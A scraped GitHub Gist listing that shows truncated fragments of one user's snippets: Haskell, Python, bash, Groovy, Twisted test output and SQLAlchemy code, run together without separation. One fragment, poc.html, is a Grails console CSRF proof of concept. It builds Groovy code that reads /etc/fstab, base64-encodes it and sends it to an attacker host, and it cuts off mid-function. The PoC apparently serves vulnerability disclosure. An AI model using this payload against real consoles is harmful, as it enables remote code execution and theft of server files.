Skip to content

Instantly share code, notes, and snippets.

{-# LANGUAGE DeriveFunctor #-}
{-# LANGUAGE FlexibleContexts #-}
{-# LANGUAGE FlexibleInstances #-}
{-# LANGUAGE MultiParamTypeClasses #-}
module Example where
import Control.Exception
import Control.Monad
import Control.Monad.Error.Class
#!/usr/bin/env python
import sys
import argparse
def mkvirtualenv_argparser():
parser = argparse.ArgumentParser()
parser.add_argument('-p', '--python')
parser.add_argument('-i', action='append', dest='packages', help='Install \
a package after the environment is created. This option may be repeated.')
import Data.List (permutations, sortBy)
import Test.QuickCheck
readInt :: String -> Int
readInt = read
comp GT _ _ _ = GT
comp LT _ _ _ = LT
comp EQ _ [] [] = EQ
comp EQ previous [x] [] = compare x previous
{-# LANGUAGE FlexibleContexts #-}
{-# LANGUAGE FlexibleInstances #-}
{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE TemplateHaskell #-}
import Prelude hiding (writeFile)
import Control.Monad (MonadPlus (..))
import Control.Monad.TestFixture
@berdario
berdario / gist:da882abe5ba77533edf7f43872b8b80e
Last active October 12, 2016 08:06
How to write to a file in bash without reopening the file multiple times
exec 3> /tmp/foo
echo "1" >&3
echo "2" >&3
exec 3>&-
_
@berdario
berdario / -
Created September 18, 2016 18:58
twisted.mail.test.test_imap
AuthenticatorTests
testCramMD5 ... [OK]
testFailedCramMD5 ... [OK]
testFailedLOGIN ... [OK]
testFailedPLAIN ... [OK]
testLOGIN ... [OK]
testPLAIN ... [OK]
ClientCapabilityTests
test_categoryAtoms ... [OK]
@berdario
berdario / Bar.groovy
Last active September 12, 2016 22:03
package foo
class Bar {
static final map = foo
static final foo = [1,2,3]
}
@berdario
berdario / poc.html
Created August 8, 2016 13:17
Grails console CSRF proof of concept
<html>
<body>
<script>
consoleUrl = 'https://victim.example.com/path/to/console'
attackerHost = 'http://localhost:7979/'
code = `new URL('${attackerHost}'+new File('/etc/fstab').bytes.encodeBase64()).getText()`
code = `evaluate new String('${btoa(code)}'.decodeBase64())` // optional, useful to transmit the payload as a GET argument
function newFrame(content){
#! /usr/bin/env python
from sqlalchemy import create_engine
sqlite = create_engine('sqlite:///:memory:', echo=True)
from sqlalchemy import Table, Column, Integer, String, MetaData, ForeignKey
metadata = MetaData()
from sqlalchemy.sql import select, func